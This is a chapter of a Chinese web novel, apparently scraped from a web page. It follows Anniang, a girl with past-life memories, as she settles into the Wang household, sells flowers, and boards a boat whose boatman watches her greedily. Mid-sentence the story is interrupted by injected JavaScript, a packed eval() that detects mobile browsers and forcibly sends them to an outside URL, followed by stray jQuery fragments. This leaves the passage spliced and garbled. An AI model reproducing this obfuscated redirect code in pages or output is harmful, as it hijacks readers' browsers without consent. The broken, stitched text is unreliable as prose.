“哈哈,咱娘啊年纪大了,又伤心多日眼神就不好使了……”
说话有点客气又不多的,是二房夫人赵娘子,她生着一张精明的脸,个子不高,声音爽利,说话吧虽然没那么全乎,好歹给了个台阶下不是?
五十岁刚冒头已经老眼昏花的老夫人擦擦眼泪换了一个人搂了一遍再说了一遍台词。
虽然闹了一个乌龙,但这也不是老夫人虚情假意,谁叫安娘生得那样好,又那样有气度,不卑不亢(其实是呆呆神游)更似官家小姐呢?不过吧,瞧了瞧燕姐儿的模样,虽然生得普通了些,但是老夫人摸着良心说,这的确是她女儿亲生的,和她女儿一个模子刻出来的啊。
这样一想,老夫人又为逝去的女儿流了不少泪,又得知多亏了安娘,林妈妈才能带着燕姐儿逃出来,老夫人连连道好,摸了安娘雪白小脸好几遍。
“是个好孩子,多俊俏啊,多仁义啊,以后啊,她在咱府里,也是小姐,是燕姐儿的妹妹!”
就这样,安娘的身份算是过了明路了,还得了个表小姐的身份,林妈妈心里高兴极了。
主仆几人连带着新安排的小丫鬟,一道住入明月苑。
那儿曾经是燕姐儿母亲的居所,她出嫁后没几年便被安排给了如蕙住,虽然大户人家流行给出嫁女留闺房,但无奈王家实在没地住啊。这两进逼仄着呢,又要住下人,又要留出老爷男人们的地儿,还要给妇人们留地待客,可不就不多了?
如蕙如今十一岁多一点,听说已经在瞧人家了,安娘和燕姐儿住进去,又单砌了一道墙,便有了独处空间。
王大姑娘人如其名,是个贤惠善良的姑娘,她对于自己院子又要住进人,是一点怨言都没有,用她的话说,这儿以前便是姑姑的家,如今给姑姑女儿住有什么不对呢?说起来她才算是占了姑姑的家啊。
又道,如今家里能善待姑姑的女儿,她瞧着心里也高兴呢。
还打发小丫鬟送来了几床她没有用过刚晒过的被褥,可算是送到实处了。
“是个好姑娘,燕姐儿安娘,以后要和王大姑娘多相处。”
林妈妈感叹道。
安神香在香笼里点燃,白烟袅袅盘旋向上,木色的支窗一打开,便可以瞧见窗外一株石榴树,如今冬日枯败,却令人可以想象春日该有多么盎然。
“终究是熬过来了。”
这一夜,林妈妈搂着两小只一同睡了个安稳觉。
在这住了小半月到了年关根儿上,才总算是认全了王府众人。
王大姑娘不必提了,倒是王二姑娘,没几日就和燕姐儿差点打了一架,只为了争老夫人给几人准备的衣服布料花色。
王二姑娘王如意是个要强的小姑娘,年龄和燕姐儿接近。
至于府里仅有的两个小子,一个老大王安川是二夫人所出,老二王安河是姨娘所生,但是要林妈妈评论,王安川怕是比不上姨娘生得那个,以后管教不好,恐怕有乱家之相啊,当然,这个前提是,大房一家迟迟没有儿子,以后这个家落在二房手里。
翻了年,安娘便是实打实的七岁了,府里视她为半个小姐,她开年后便和燕姐儿一块去蹭王家的女先生,学一学女红厨艺之类的。
等到她长到十四五岁,府里出一份简单的嫁妆给她找个清白人家,便算是这个时代对她最好的报答了。
可安娘不想这样走,她有着前世的记忆,自然不肯将自己的人生陷进深宅后院里,那样她活了和没活有什么区别呢?
安娘便想利用前世的知识攒一笔钱,如果能在成年的时候买个自己的房子搬出去就好了。
她来到京都这一年多,观之经济贸易十分发达,这里更倾向于北宋时的繁华,只是不知为何,虽有夜市,却到子时必定宵禁,林妈妈会摸着她的头说一些神神鬼鬼的故事,平时也会从别人口中听到一些鬼怪的传闻,可安娘来到京都快一年了,除了蒋婆子那件事,再也没有遇见神鬼之事,随着她年龄渐长,幼时的记忆也越发模糊了,安娘又大胆了起来。
至于鬼怪。
正和她前世一样,一问网上到处是见鬼的,可鬼就像好男人一样,总听说有,可谁也没见过。
今夜,已经快八岁的安娘,在瓦子里卖了一篮子的花后,踩着轻快的脚步,贴着墙角回家。
这两日是七夕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340447|199297||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
佳节,安娘提了一篮子的木槿花,两三朵搭配一些杂草,再用碎花布头扎出个好看的蝴蝶结,在一众卖花小童里,别提多扎眼了。
更别提小安娘长得那样好看,提着一篮子花恰似个小仙童呢,甚至有备孕的妇人瞧见了也要买来一束,乞一乞来年生个安娘这样好看的娃娃呢。
京都人很是喜花,簪花插花甚至吃花,一年四季各有鲜花作陪,安娘的巧思让她很是攒下了一笔钱,只是今日去瓦子,安娘发现已经有人模仿她也给花做花束了。
夜已经很深了,瓦子本就离得远了些,离开瓦子的时候安娘又故意绕路,今天卖花一多,回家竟然到了子时,已经能远远瞧见查宵禁的官兵骑着马走在路上了,安娘紧了紧小脸,侧身躲进了身后的一个窄巷,这才躲过了一劫。
今夜无星,只有一轮暗淡的月,抬头仔细看,仿佛还能瞧见一层黄黄的厚云,明天应该会有雨。
巷子很窄,仅容一人通过,安娘记得巷子出口通往河边,虽有宵禁,但是如果悄悄走河上的小船,借着夜色能很快到家的,一般来说像她这样的小女娘独自出门是很危险的,古代拐子盛行,安娘也一直十分注意这点,平时只去那些正规安全的地方,离开了那处便把小脸涂的漆黑,走自己熟悉的路,又或者多绕几圈,即使是坐船,她也有相熟的老汉。
那船家有个和她同岁的女儿,去年差点被拐子带走,还是安娘卖花的时候瞧见了,帮忙大声呼喊引入来,这才救下,老汉自此对安娘十分感激。
船家以船为家,今夜便是停靠在安娘顺路的河边休息。安娘人小脚程快,很快便穿过巷子来到了河边,她躲在阴影处悄悄学了几声猫叫,便见不远处芦苇丛中动了动,一只不大的乌篷船从芦苇里滑了出来,待安娘跳了上去,船又悄悄沿着河边的阴影一路劈开水面,顺着她家的方向而去了。
船夫在后方弯着腰摇橹,宽大的草帽遮住了他半张脸,他弯着腰,好似一只弓起的大虾,船只顺着水流摇晃着,偶尔水面上月色反光,落在他脸上,露出几根翘起的毛发和鲜红的舌头。
帽檐下,一双贪婪浑浊的双眼紧紧盯着前方白白嫩嫩的小孩。